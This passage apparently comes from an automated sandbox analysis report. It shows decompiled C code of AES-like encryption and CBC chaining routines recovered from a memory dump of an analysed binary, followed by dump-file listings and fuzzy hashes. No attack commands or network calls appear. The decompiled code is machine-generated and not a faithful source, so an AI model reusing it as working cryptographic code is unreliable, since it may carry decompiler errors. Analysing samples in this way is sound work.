                                                                							_t465 = _t496 - 0x00000144 & 0xffffffc0;
                                                                							_t7 = _t485 + 0x900; // 0xa5636cc6
                                                                							_t266 = _t485 & 0x00000fff;
                                                                							_t305 = _t7 & 0x00000fff;
                                                                							_t372 = _t465 & 0x00000fff;
                                                                							if(_t372 < _t305) {
                                                                								_t466 = _t465 - (_t372 - _t266 & 0x00000fff) + 0x180;
                                                                								__eflags = _t466;
                                                                							} else {
                                                                								_t466 = _t465 - _t372 - _t305;
                                                                							}
                                                                							_t376 = _t496 + 0x18;
                                                                							_t508 = _t466 + 4;
                                                                							 *(_t508 + 0x18) = _t485;
                                                                							 *((intOrPtr*)(_t508 + 0x1c)) = _t496;
                                                                							_t415 = _t376[3];
                                                                							_t377 = _t376[5];
                                                                							 *(_t508 + 0x20) =  *_t376;
                                                                							 *(_t508 + 0x24) = _t376[1];
                                                                							 *(_t508 + 0x28) = _t320;
                                                                							 *(_t508 + 0x2c) = _t415;
                                                                							 *(_t508 + 0x30) = _t376[4];
                                                                							 *(_t508 + 0x13c) = 0;
                                                                							_t469 = _t415;
                                                                							_t309 = _t415 - _t485 & 0x00000fff;
                                                                							_t416 = _t508 + 0x4c;
                                                                							if(_t309 < 0x900) {
                                                                								L11:
                                                                								 *(_t508 + 0x2c) = _t416;
                                                                								memcpy(_t416, _t469, 0x3d << 2);
                                                                								_t508 = _t508 + 0xc;
                                                                							} else {
                                                                								if(_t309 >= 0xf0c) {
                                                                									goto L11;
                                                                								}
                                                                							}
                                                                							_t419 = 0x10;
                                                                							do {
                                                                								_t485 = _t485 + 0x80;
                                                                								_t419 = _t419 - 1;
                                                                							} while (_t419 != 0);
                                                                							_t493 = _t485 - 0x800;
                                                                							_t471 =  *(_t508 + 0x20);
                                                                							_t420 =  *(_t508 + 0x30);
                                                                							if(_t377 == 0) {
                                                                								__eflags = _t471 -  *(_t508 + 0x24);
                                                                								if(_t471 ==  *(_t508 + 0x24)) {
                                                                									do {
                                                                										_t311 = _t471[1];
                                                                										_t342 = _t471[2];
                                                                										_t378 = _t471[3];
                                                                										_t421 = _t508 + 0x3c;
                                                                										 *_t421 =  *_t471;
                                                                										_t421[1] = _t311;
                                                                										_t421[2] = _t342;
                                                                										_t421[3] = _t378;
                                                                										_t271 = E00ABFF80( *_t471, _t311, _t342, _t378,  *(_t508 + 0x2c));
                                                                										_t423 =  *(_t508 + 0x30);
                                                                										_t472 =  *(_t508 + 0x24);
                                                                										 *_t472 = _t271 ^  *_t423;
                                                                										_t472[1] = _t311 ^ _t423[1];
                                                                										_t472[2] = _t342 ^ _t423[2];
                                                                										_t472[3] = _t378 ^ _t423[3];
                                                                										 *(_t508 + 0x24) =  &(_t472[4]);
                                                                										_t474 = _t508 + 0x3c;
                                                                										_t273 =  *_t474;
                                                                										 *_t423 = _t273;
                                                                										_t423[1] = _t474[1];
                                                                										_t423[2] = _t474[2];
                                                                										_t423[3] = _t474[3];
                                                                										_t471 =  &(( *(_t508 + 0x20))[4]);
                                                                										 *(_t508 + 0x20) = _t471;
                                                                										_t346 =  *(_t508 + 0x28) - 0x10;
                                                                										__eflags = _t346;
                                                                										 *(_t508 + 0x28) = _t346;
                                                                									} while (_t346 != 0);
                                                                								} else {
                                                                									 *(_t508 + 0x34) = _t420;
                                                                									do {
                                                                										_t315 = _t471[1];
                                                                										_t349 = _t471[2];
                                                                										_t381 = _t471[3];
                                                                										_t276 = E00ABFF80( *_t471, _t315, _t349, _t381,  *(_t508 + 0x2c));
                                                                										_t428 =  *(_t508 + 0x34);
                                                                										_t429 =  *(_t508 + 0x24);
                                                                										_t478 =  *(_t508 + 0x20);
                                                                										 *_t429 = _t276 ^  *_t428;
                                                                										_t429[1] = _t315 ^ _t428[1];
                                                                										_t429[2] = _t349 ^ _t428[2];
                                                                										_t429[3] = _t381 ^ _t428[3];
                                                                										 *(_t508 + 0x34) = _t478;
                                                                										_t471 =  &(_t478[4]);
                                                                										 *(_t508 + 0x20) = _t471;
                                                                										 *(_t508 + 0x24) =  &(_t429[4]);
                                                                										_t352 =  *(_t508 + 0x28) - 0x10;
                                                                										__eflags = _t352;
                                                                										 *(_t508 + 0x28) = _t352;
                                                                									} while (_t352 != 0);
                                                                									_t431 =  *(_t508 + 0x34);
                                                                									_t479 =  *(_t508 + 0x30);
                                                                									_t273 =  *_t431;
                                                                									 *_t479 = _t273;
                                                                									_t479[1] = _t431[1];
                                                                									_t479[2] = _t431[2];
                                                                									_t479[3] = _t431[3];
                                                                								}
                                                                								__eflags =  *(_t508 + 0x13c);
                                                                								_t424 =  *(_t508 + 0x2c);
                                                                								if( *(_t508 + 0x13c) != 0) {
                                                                									__eflags = 0;
                                                                									_t273 = memset(_t424, 0, 0x3c << 2);
                                                                									_t508 = _t508 + 0xc;
                                                                								}
                                                                								asm("popfd");
                                                                								return _t273;
                                                                							} else {
                                                                								_t278 =  *_t420;
                                                                								_t318 = _t420[1];
                                                                								0;
                                                                								0;
                                                                								do {
                                                                									_t318 = _t318 ^ _t471[1];
                                                                									_t355 = _t420[2] ^ _t471[2];
                                                                									_t385 = _t420[3] ^ _t471[3];
                                                                									_t278 = E00ABE8F0(_t278 ^  *_t471, _t318, _t355, _t385,  *(_t508 + 0x2c), _t493);
                                                                									_t420 =  *(_t508 + 0x24);
                                                                									 *_t420 = _t278;
                                                                									_t420[1] = _t318;
                                                                									_t420[2] = _t355;
                                                                									_t420[3] = _t385;
                                                                									_t471 =  &(( *(_t508 + 0x20))[4]);
                                                                									 *(_t508 + 0x20) = _t471;
                                                                									 *(_t508 + 0x24) =  &(_t420[4]);
                                                                									_t357 =  *(_t508 + 0x28) - 0x10;
                                                                									 *(_t508 + 0x28) = _t357;
                                                                								} while (_t357 != 0);
                                                                								_t481 =  *(_t508 + 0x30);
                                                                								 *_t481 = _t278;
                                                                								_t481[1] = _t318;
                                                                								_t481[2] = _t420[2];
                                                                								_t481[3] = _t420[3];
                                                                								_t433 =  *(_t508 + 0x2c);
                                                                								if( *(_t508 + 0x13c) != 0) {
                                                                									_t278 = memset(_t433, 0, 0x3c << 2);
                                                                									_t508 = _t508 + 0xc;
                                                                								}
                                                                								asm("popfd");
                                                                								return _t278;
                                                                							}
                                                                						}
                                                                					}
                                                                				}
                                                                				L54:
                                                                			}






























































































                                                                0x00ac0e86
                                                                0x00ac0e86
                                                                0x00ac0e92
                                                                0x00ac0e92
                                                                0x00ac0e98
                                                                0x00ac0e9e
                                                                0x00ac0e9e
                                                                0x00ac0ea4
                                                                0x00ac0ea5
                                                                0x00ac0eac
                                                                0x00ac11a0
                                                                0x00ac11a2
                                                                0x00ac11bd
                                                                0x00ac11d4
                                                                0x00ac11da
                                                                0x00ac11dd
                                                                0x00ac11e1
                                                                0x00ac11e5
                                                                0x00ac11e9
                                                                0x00ac11eb
                                                                0x00ac11ee
                                                                0x00ac11f4
                                                                0x00ac11f8
                                                                0x00ac11fc
                                                                0x00ac1200
                                                                0x00ac1204
                                                                0x00ac1208
                                                                0x00ac120a
                                                                0x00ac120c
                                                                0x00ac120f
                                                                0x00ac1380
                                                                0x00ac1386
                                                                0x00ac1420
                                                                0x00ac1422
                                                                0x00ac1425
                                                                0x00ac1428
                                                                0x00ac142b
                                                                0x00ac142f
                                                                0x00ac1431
                                                                0x00ac1434
                                                                0x00ac1437
                                                                0x00ac143e
                                                                0x00ac1443
                                                                0x00ac144b
                                                                0x00ac144d
                                                                0x00ac1450
                                                                0x00ac1453
                                                                0x00ac1456
                                                                0x00ac1456
                                                                0x00ac1459
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac145f
                                                                0x00ac1463
                                                                0x00ac1467
                                                                0x00ac1469
                                                                0x00ac146c
                                                                0x00ac146f
                                                                0x00ac1475
                                                                0x00ac1479
                                                                0x00ac147d
                                                                0x00ac1488
                                                                0x00ac148a
                                                                0x00ac148d
                                                                0x00ac1490
                                                                0x00ac1497
                                                                0x00ac149a
                                                                0x00ac149e
                                                                0x00000000
                                                                0x00ac14a4
                                                                0x00ac14a8
                                                                0x00ac14ad
                                                                0x00ac14ad
                                                                0x00000000
                                                                0x00ac149e
                                                                0x00ac14b0
                                                                0x00ac14b4
                                                                0x00ac14b6
                                                                0x00ac14b9
                                                                0x00ac14bc
                                                                0x00ac14bf
                                                                0x00ac14ce
                                                                0x00ac14d0
                                                                0x00ac14d3
                                                                0x00ac14d6
                                                                0x00ac14ea
                                                                0x00ac14f0
                                                                0x00ac14f5
                                                                0x00ac138c
                                                                0x00ac138c
                                                                0x00ac138c
                                                                0x00ac138f
                                                                0x00ac1397
                                                                0x00ac139c
                                                                0x00ac13a0
                                                                0x00ac13a4
                                                                0x00ac13b0
                                                                0x00ac13b3
                                                                0x00ac13b7
                                                                0x00ac13ba
                                                                0x00ac13be
                                                                0x00ac13c1
                                                                0x00ac13c5
                                                                0x00ac13c5
                                                                0x00ac13c8
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac13ce
                                                                0x00ac13d1
                                                                0x00ac13d8
                                                                0x00ac13df
                                                                0x00ac13e3
                                                                0x00ac13e7
                                                                0x00000000
                                                                0x00ac13ed
                                                                0x00ac13ed
                                                                0x00ac13f3
                                                                0x00ac13f8
                                                                0x00ac13f8
                                                                0x00000000
                                                                0x00ac13e7
                                                                0x00ac1400
                                                                0x00ac1403
                                                                0x00ac1407
                                                                0x00ac1409
                                                                0x00ac1409
                                                                0x00ac1412
                                                                0x00ac1418
                                                                0x00ac141d
                                                                0x00ac141d
                                                                0x00ac1215
                                                                0x00ac1215
                                                                0x00ac1218
                                                                0x00ac121a
                                                                0x00ac1340
                                                                0x00ac1340
                                                                0x00ac1342
                                                                0x00ac1349
                                                                0x00ac134b
                                                                0x00ac134d
                                                                0x00ac135d
                                                                0x00ac1356
                                                                0x00ac1356
                                                                0x00ac1356
                                                                0x00ac1356
                                                                0x00ac1356
                                                                0x00ac1366
                                                                0x00ac1366
                                                                0x00ac1368
                                                                0x00ac136c
                                                                0x00ac136e
                                                                0x00ac1370
                                                                0x00ac1373
                                                                0x00000000
                                                                0x00ac1220
                                                                0x00ac1220
                                                                0x00ac1226
                                                                0x00ac12b0
                                                                0x00ac12b2
                                                                0x00ac12b8
                                                                0x00ac12b8
                                                                0x00ac12c0
                                                                0x00ac12c3
                                                                0x00ac12c6
                                                                0x00ac12cd
                                                                0x00ac12d6
                                                                0x00ac12da
                                                                0x00ac12dc
                                                                0x00ac12df
                                                                0x00ac12e2
                                                                0x00ac12e9
                                                                0x00ac12ec
                                                                0x00ac12f0
                                                                0x00ac12f3
                                                                0x00ac12f7
                                                                0x00ac12fa
                                                                0x00ac12fd
                                                                0x00ac12fd
                                                                0x00ac1307
                                                                0x00ac130d
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac1313
                                                                0x00ac131d
                                                                0x00ac131f
                                                                0x00ac1322
                                                                0x00ac1325
                                                                0x00ac132c
                                                                0x00ac1331
                                                                0x00ac122c
                                                                0x00ac122c
                                                                0x00ac122f
                                                                0x00ac1239
                                                                0x00ac123d
                                                                0x00ac1240
                                                                0x00ac1240
                                                                0x00ac1243
                                                                0x00ac124b
                                                                0x00ac125c
                                                                0x00ac125f
                                                                0x00ac1263
                                                                0x00ac1266
                                                                0x00ac126a
                                                                0x00ac126d
                                                                0x00ac1271
                                                                0x00ac1274
                                                                0x00ac1277
                                                                0x00ac1277
                                                                0x00ac1281
                                                                0x00ac1287
                                                                0x00000000
                                                                0x00ac128d
                                                                0x00ac1291
                                                                0x00ac1294
                                                                0x00ac1298
                                                                0x00ac129e
                                                                0x00ac12a3
                                                                0x00ac12a3
                                                                0x00ac1287
                                                                0x00ac1226
                                                                0x00ac121a
                                                                0x00ac0eb2
                                                                0x00ac0eb2
                                                                0x00ac0eb8
                                                                0x00000000
                                                                0x00ac0ebe
                                                                0x00ac0ebe
                                                                0x00ac0ec2
                                                                0x00000000
                                                                0x00ac0ec8
                                                                0x00ac0ecf
                                                                0x00ac0ed4
                                                                0x00ac0edc
                                                                0x00ac0ee1
                                                                0x00ac0ee7
                                                                0x00ac0eef
                                                                0x00ac0f0e
                                                                0x00ac0f0e
                                                                0x00ac0ef5
                                                                0x00ac0ef7
                                                                0x00ac0ef7
                                                                0x00ac0f10
                                                                0x00ac0f16
                                                                0x00ac0f19
                                                                0x00ac0f1d
                                                                0x00ac0f26
                                                                0x00ac0f2c
                                                                0x00ac0f2f
                                                                0x00ac0f33
                                                                0x00ac0f37
                                                                0x00ac0f3b
                                                                0x00ac0f3f
                                                                0x00ac0f43
                                                                0x00ac0f57
                                                                0x00ac0f59
                                                                0x00ac0f5f
                                                                0x00ac0f69
                                                                0x00ac0f7c
                                                                0x00ac0f7c
                                                                0x00ac0f82
                                                                0x00ac0f82
                                                                0x00ac0f6f
                                                                0x00ac0f75
                                                                0x00000000
                                                                0x00000000
                                                                0x00ac0f75
                                                                0x00ac0f84
                                                                0x00ac0f8c
                                                                0x00ac0f98
                                                                0x00ac0f9e
                                                                0x00ac0f9e
                                                                0x00ac0fa7
                                                                0x00ac0fad
                                                                0x00ac0fb1
                                                                0x00ac0fb8
                                                                0x00ac1060
                                                                0x00ac1064
                                                                0x00ac10f0
                                                                0x00ac10f2
                                                                0x00ac10f5
                                                                0x00ac10f8
                                                                0x00ac10fb
                                                                0x00ac10ff
                                                                0x00ac1101
                                                                0x00ac1104
                                                                0x00ac1107
                                                                0x00ac110e
                                                                0x00ac1113
                                                                0x00ac1117
                                                                0x00ac1126
                                                                0x00ac1128
                                                                0x00ac112b
                                                                0x00ac112e
                                                                0x00ac1134
                                                                0x00ac1138
                                                                0x00ac113c
                                                                0x00ac1147
                                                                0x00ac1149
                                                                0x00ac114c
                                                                0x00ac114f
                                                                0x00ac115a
                                                                0x00ac115d
                                                                0x00ac1161
                                                                0x00ac1161
                                                                0x00ac1164
                                                                0x00ac1164
                                                                0x00ac106a
                                                                0x00ac106a
                                                                0x00ac1070
                                                                0x00ac1072
                                                                0x00ac1075
                                                                0x00ac1078
                                                                0x00ac107f
                                                                0x00ac1084
                                                                0x00ac1097
                                                                0x00ac109b
                                                                0x00ac109f
                                                                0x00ac10a1
                                                                0x00ac10a4
                                                                0x00ac10a7
                                                                0x00ac10ae
                                                                0x00ac10b2
                                                                0x00ac10b5
                                                                0x00ac10bc
                                                                0x00ac10c0
                                                                0x00ac10c0
                                                                0x00ac10c3
                                                                0x00ac10c3
                                                                0x00ac10cd
                                                                0x00ac10d1
                                                                0x00ac10d5
                                                                0x00ac10e0
                                                                0x00ac10e2
                                                                0x00ac10e5
                                                                0x00ac10e8
                                                                0x00ac10e8
                                                                0x00ac1170
                                                                0x00ac1178
                                                                0x00ac117c
                                                                0x00ac1187
                                                                0x00ac118e
                                                                0x00ac118e
                                                                0x00ac118e
                                                                0x00ac1194
                                                                0x00ac1199
                                                                0x00ac0fbe
                                                                0x00ac0fbe
                                                                0x00ac0fc0
                                                                0x00ac0fc9
                                                                0x00ac0fcd
                                                                0x00ac0fd0
                                                                0x00ac0fd8
                                                                0x00ac0fdb
                                                                0x00ac0fde
                                                                0x00ac0fe5
                                                                0x00ac0fee
                                                                0x00ac0ff2
                                                                0x00ac0ff4
                                                                0x00ac0ff7
                                                                0x00ac0ffa
                                                                0x00ac0ffd
                                                                0x00ac1004
                                                                0x00ac100b
                                                                0x00ac100f
                                                                0x00ac1012
                                                                0x00ac1012
                                                                0x00ac101c
                                                                0x00ac1026
                                                                0x00ac1028
                                                                0x00ac102b
                                                                0x00ac102e
                                                                0x00ac1039
                                                                0x00ac103d
                                                                0x00ac104e
                                                                0x00ac104e
                                                                0x00ac104e
                                                                0x00ac1054
                                                                0x00ac1059
                                                                0x00ac1059
                                                                0x00ac0fb8
                                                                0x00ac0ec2
                                                                0x00ac0eb8
                                                                0x00000000

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 9cef6dc8ceb66daaad008241bfe63bf188bbec40671bb562d66ed993eb60cea4
                                                                • Instruction ID: c0e8a24c6b478d1ed1c3c7dfae31f470fe7d2779dd7fd65ee82d153d8de57c5c
                                                                • Opcode Fuzzy Hash: 9cef6dc8ceb66daaad008241bfe63bf188bbec40671bb562d66ed993eb60cea4
                                                                • Instruction Fuzzy Hash: 1D22D2769047128FC714CF19D180A5AF7E1FF88324F158A2EE9A967B11C730FA55CB81
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 0143fbb01e4cb802368a0b9f9344aaf815a2c6f2a28245d16c8935a4c8e93d81
                                                                • Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
                                                                • Opcode Fuzzy Hash: 0143fbb01e4cb802368a0b9f9344aaf815a2c6f2a28245d16c8935a4c8e93d81
                                                                • Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fcf8165f92d58746db6ffb2313d7d0f646d31432b630f7e24032bf6c571f3fca
                                                                • Instruction ID: 4a713dbb77260fb2b1ef429047cb27082ab38c44ce787e51225ae010a2acd867
                                                                • Opcode Fuzzy Hash: fcf8165f92d58746db6ffb2313d7d0f646d31432b630f7e24032bf6c571f3fca
                                                                • Instruction Fuzzy Hash: 23024125C18FDA86E7129B3DC442977B7A0BFFA248F10DB1EEDD436512EB31A644E241
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c22bcfaca740829001c9608f6768e92eee537ddf69eca220a62b7339dbf2fe25
                                                                • Instruction ID: 3ee13e2347463ba814d1ca1713ad3a7c80367b88ad9f5408fd243ca14b19671b
                                                                • Opcode Fuzzy Hash: c22bcfaca740829001c9608f6768e92eee537ddf69eca220a62b7339dbf2fe25
                                                                • Instruction Fuzzy Hash: 7B027225C18FCA86E7129B3D8442577F7A0BFFA248F10DB1EFDD532912EB21A644E241
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                Memory Dump Source
                                                                • Source File: 00000000.00000002.721799634.0000000000AB1000.00000020.00020000.sdmp, Offset: 00AB0000, based on PE: true
                                                                • Associated: 00000000.00000002.721766848.0000000000AB0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.722799682.0000000000BA0000.00000002.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723237384.0000000000BE1000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723255902.0000000000BE2000.00000008.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723281146.0000000000BE5000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723323088.0000000000BE8000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723368835.0000000000CE9000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723404494.0000000000DEC000.00000004.00020000.sdmp Download File
                                                                • Associated: 00000000.00000002.723422451.0000000000DEE000.00000002.00020000.sdmp Download File
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 70112ff4cfd3648cb52c69d271e6e278981b08f221d1e353d51558c74d483210
                                                                • Instruction ID: 7ff2b7e828d77e622014850181f68f8bbb9fa92aef1fb3f430c159971826c645
                                                                • Opcode Fuzzy Hash: 70112ff4cfd3648cb52c69d271e6e278981b08f221d1e353d51558c74d483210
                                                                • Instruction Fuzzy Hash: 37F16121C1DFDA87D6129B3E85421A6F3A4BFFA284F14EB0AFDD435412EB71B2D59240
                                                                Uniqueness

                                                                Uniqueness Score: -1.00%

                                                                C-Code - Quality: 60%
                                                                			E00ABF830(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int* __edi) {
                                                                				signed char _t119;
                                                                				signed int _t125;
                                                                				signed int _t128;
                                                                				signed int _t141;
                                                                				signed int _t153;
                                                                				signed int _t156;
                                                                				unsigned int _t170;
                                                                				signed int _t174;
                                                                				signed int _t188;
                                                                				signed int _t193;
                                                                				unsigned int _t203;
                                                                				signed int _t208;
                                                                				signed int* _t310;
                                                                				intOrPtr _t427;
                                                                				void* _t440;
                                                                
                                                                				 *(_t440 + 0x14) = __edi;
                                                                				_t119 = __eax ^  *__edi;
                                                                				_t141 = __ebx ^ __edi[1];
                                                                				_t170 = __ecx ^ __edi[2];
                                                                				_t203 = __edx ^ __edi[3];
                                                                				 *((intOrPtr*)(_t440 + 0x18)) = __edi + (__edi[0x3c] + __edi[0x3c] - 2) * 8;
                                                                				0;
                                                                				do {
                                                                					 *(_t440 + 4) =  *(_t427 + (_t119 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t427 + (_t203 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t427 + (_t170 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t427 + (_t141 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					 *(_t440 + 8) =  *(_t427 + (_t141 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t427 + (_t119 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t427 + (_t203 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t427 + (_t170 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					_t174 =  *(_t427 + (_t170 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t427 + (_t141 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t427 + (_t119 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t427 + (_t203 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					_t208 =  *(_t427 + (_t203 & 0x000000ff) - 0x80) & 0x000000ff ^ ( *(_t427 + (_t170 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000008 ^ ( *(_t427 + (_t141 >> 0x00000010 & 0x000000ff) - 0x80) & 0x000000ff) << 0x00000010 ^ ( *(_t427 + (_t119 >> 0x18) - 0x80) & 0x000000ff) << 0x00000018;
                                                                					_t125 = _t174 + _t174 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t174) >> 0x00000007) & 0x1b1b1b1b;
                                                                					_t148 = _t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b;
                                                                					asm("rol ecx, 0x8");
                                                                					asm("rol eax, 0x18");
                                                                					asm("rol ebx, 0x10");
                                                                					asm("rol ebp, 0x8");
                                                                					_t128 =  *(_t440 + 4);
                                                                					 *(_t440 + 0xc) = _t174 ^ _t125 ^ _t174 ^ _t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b ^ _t174 ^ (_t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b) + _t148 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t148) >> 0x00000007) & 0x1b1b1b1b ^ _t125 ^ _t174 ^ (_t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b) + _t148 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t148) >> 0x00000007) & 0x1b1b1b1b ^ _t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b ^ _t174 ^ (_t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b) + _t148 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t148) >> 0x00000007) & 0x1b1b1b1b ^ (_t125 + _t125 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t125) >> 0x00000007) & 0x1b1b1b1b) + _t148 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t148) >> 0x00000007) & 0x1b1b1b1b;
                                                                					_t153 = _t208 + _t208 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t208) >> 0x00000007) & 0x1b1b1b1b;
                                                                					_t183 = _t153 + _t153 & 0xfefefefe ^ 0x80808080 - ((0x80808080 & _t153) >> 0x00000007) & 0x1b1b1b1b;
                                                                					asm("rol edx, 0x8");
                                                                					asm("rol ebx, 0x18");
                                                                					asm("rol ecx, 0x10");
                                                                					asm("rol ebp, 0x8");
                                                                					_t156 =  *(_t440 + 8);
